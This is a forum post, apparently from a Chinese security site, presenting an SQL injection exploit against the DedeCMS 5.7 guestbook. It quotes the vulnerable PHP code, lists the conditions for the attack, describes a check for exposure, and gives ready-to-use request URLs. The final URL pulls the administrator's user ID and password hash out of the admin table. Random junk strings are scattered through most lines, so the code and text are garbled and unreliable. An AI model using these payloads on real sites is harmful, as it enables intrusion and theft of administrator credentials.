找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3952|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
影响版本为5.71 G* V/ ~) r! L! Z7 I

9 ?' q% K; u) k( a  k" H0 [漏洞文件edit.inc.php具体代码:( A% m+ y# s7 p# h# f& k* @( `

) j8 c; o) Z( Y+ X2 j* x1 g< ?php  
) n0 @! [7 E/ P/ j: _! [3 l4 ^$ V- H6 H, c5 u2 L/ s2 ^1 F  J" k# D6 b
if(!defined('DEDEINC')) exit('Request Error!');  
2 o& n! O; B. n9 r: a
- z% V8 E- m* K0 L  s- F9 z% F   1 R& V3 \! @  o3 p. z

; I* r3 |. ^+ J+ M6 r( E  qif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  , W3 V/ G0 t, O9 g0 c

1 d* W& X9 K2 r+ Y) S6 T( K7 jelse $GUEST_BOOK_POS = "guestbook.php";  
9 E+ d  \1 i  ~- I# S0 d( h) r7 f
   
% n! y9 Y) k. Y% O# v# r' u5 }7 ]( e6 b' E+ v
$id = intval($id);  
5 x( Z2 q- S0 U; {
- x% q! k' Z- L; I/ P+ Hif(empty($job)) $job='view';  % @! y. |* Z) ?: f: U7 L  J. P

' M( P& l5 p! {  Z' I$ Y$ \/ g( I   ) ~! O/ w5 a$ Y$ K2 S4 \

( z, ]) m" `$ z) H* wif($job=='del' && $g_isadmin)  
0 ?1 u( Q% s8 l' p6 m( L4 _4 h1 P' g
{  
+ Q; W1 h, h: o" a3 d3 x0 s/ p/ `1 G* w: _* K
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  * Q7 v2 w  L. |9 {
% i& E! L/ U7 a+ h9 `
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
2 b! o  ^- C) n8 C( ?
# W7 r- ]7 ?/ K+ ~& b$ sexit();  ' i# w9 C( w7 ?9 X- z
. j- c0 u' E* z5 q
}  $ a: z) H. U+ g' L" E# ]
3 \6 G% {5 w% u* i
else if($job=='check' && $g_isadmin)  
( z6 n* {8 W2 V1 V0 f, Y* k7 X! c: I
{  9 V0 F, }$ `  G: b' e$ F
  g' i' Z: }" J0 r
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
9 q# `7 z5 N1 g1 q  t8 g/ x* j: m
8 y; E! ^( J* I6 p& G: DShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  0 V& S& W+ u, G
0 O" z, K7 R* W' ]( U# n7 j; Q
exit();  
: C) |( D$ H) L/ m% n5 a& R  z/ l; d
}  
5 V5 h" W8 `. `  Z
% O! q* W2 ^& {else if($job=='editok')  # q* u- y8 b( w. [

4 B" G7 w5 [/ q9 H$ v{  
; c6 X$ D. Y/ m: n) |2 O% ]/ D; @) ^. X% ~. _$ d- D
$remsg = trim($remsg);  
2 u. O) A, q6 p5 r7 C
% x0 t; \6 ]; D6 Cif($remsg!='')  
8 T3 _; }) ]  m: ]  [. j5 d( F
  u, X8 r/ e$ Q# G3 T. @' E, k* z{  
" L0 j( j7 @, P/ X- ]8 Z7 k1 v8 b  n% K9 A. r. ~
//管理员回复不过滤HTML By:Errorera blog:errs.cc  6 `$ w) c' `9 h! b  [
7 t* Y) g# w' D" m
if($g_isadmin)  ' }7 C( a) }# u. {, H* C% f8 I7 }& X

" K0 z2 i5 X5 f  [: l( P1 Q{  ) L( }! ~. y8 _+ p/ X2 |" \6 R
! v/ Z) E8 _3 R$ A: g9 ^1 d' i
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  * F( C, I# Y1 k/ }4 Y; V1 m
8 @: Q  a2 T# ?; B' X5 m3 S- d; l
//$remsg <br /><font color=red>管理员回复:</font> }  
3 I) N, l. m3 V- H
$ C: Y" O- _2 ^else
/ M- J( Q; j, f& w7 \8 w* w1 J2 G2 g8 N4 U5 q( s5 ]8 \
{  8 w  ^% ]8 `: O' v3 X0 T( L" j

: i& a4 o/ T) i% v6 C9 {$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
& H; ~; H2 b( K) M
5 Z3 h9 L) T, s9 W$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  $ k4 i% b$ d6 x7 ?

. L0 i, O& ~* j& T1 ]$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
! d1 q* M7 Y5 i" D
/ x% s+ v& J* L' n; H! z4 N  Z5 \5 e$msg = $oldmsg.$remsg;  
$ l' e# a% R) X6 J( M3 H" G  L
; w' _$ Y2 ?1 v5 G}  ( ?- o7 Z4 u' S0 s6 k; P

, x; J" u- V" H) x+ m- c  f) s! M( w}  2 c3 H) Z( x5 p( E5 B6 u$ L4 R

% H6 C# E8 `; I//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
  e9 X' i. n; K- |  y) B* u
5 R+ B; @; f6 S3 P0 ?9 J( ^$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
  ]. Z* [* s# N
* _( e( v. M! r4 k9 RShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  % J5 m; g" l9 L9 x0 ?% ?2 C
1 F9 o7 u% ~. D, N8 s; y5 E6 U) {
exit();  
& b8 ^) X0 B$ s9 Q# n; J9 y* \2 @
% ?- N/ T. T) T& B. M}  
3 [3 r7 r6 U4 G# z( a* X3 j, C0 R( K/ |3 Y# V! t
//home:www.errs.cc  8 f+ P6 h& R# V5 M: F7 [2 c

9 s7 |5 e3 `; B+ j& E9 C8 Xif($g_isadmin)  # t4 O- b$ |' M  {& v- k

) ]% g' s+ q' n* N: m' \0 }& U{  ! C6 W* y1 v* r' m' B& ~
! s5 x6 g3 `) C% O8 W
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
4 u/ r' B% w0 x# t" }
% V: b7 m1 o3 z! M: u# r' \require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ) s3 S7 r) j$ _+ y+ s2 ~7 C
. h( W* b. \2 N( E* ~; B% c
}  + M6 ]8 F* U0 y

; N0 d( Q, s8 c! y) O4 Selse
" ?1 h; T; r( y9 F0 i
3 `+ R4 Y2 _& k7 Y; a2 z. o/ G{  6 I6 R7 ~: _8 \

% }. m) V9 y% v3 [+ ]+ I$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
4 E6 k9 W* C; g. c+ \3 b* Q( [# Y' b0 A& W3 t
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
# W+ C  q- h1 u
0 A7 S, P% g, c* V* a1 `} 漏洞成功需要条件:
( d; A2 X# ~6 v6 l1. php magic_quotes_gpc=off4 L1 S$ @1 C- b0 |
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
' m7 n# v* C8 S1 {/ \, J7 R4 Y; a' a0 O0 G6 m- s: ^# j. p
怎么判断是否存在漏洞:
( N4 g! U: Z* }; D- W! g先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,' Z1 U! |1 |. i; [% \& B
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID( S/ F+ {8 H2 P
访问:
' }4 n# F+ S: S5 J3 i5 I  x6 F1 E( D
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了# \8 ]# z- I, t2 v; U  \6 U
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
% a0 g% x1 H; U- B" k- a; R" Q& s

: j) A+ S1 k) T明漏洞无法利用应为他开启了 php magic_quotes_gpc=off6 s$ m7 v5 k7 Y: F0 P
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
4 G2 P+ u$ O' q那么再次访问: y8 R" s2 A, X- Y
- O: ?2 @/ C. e* [. V, N( B2 Z6 [
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
/ [% P: w$ v; R% ?; q4 G0 j# y" @) ~" `0 J
大概利用就是这样,大家有兴趣的多研究下!!
8 `4 U+ m/ w% Q1 I6 F6 Z3 X+ j" n8 b# B8 p' [7 w+ m& z5 ?* z
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!3 m/ b4 k0 j& H& d  M! A

; _: ?) z+ q0 _% Eview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表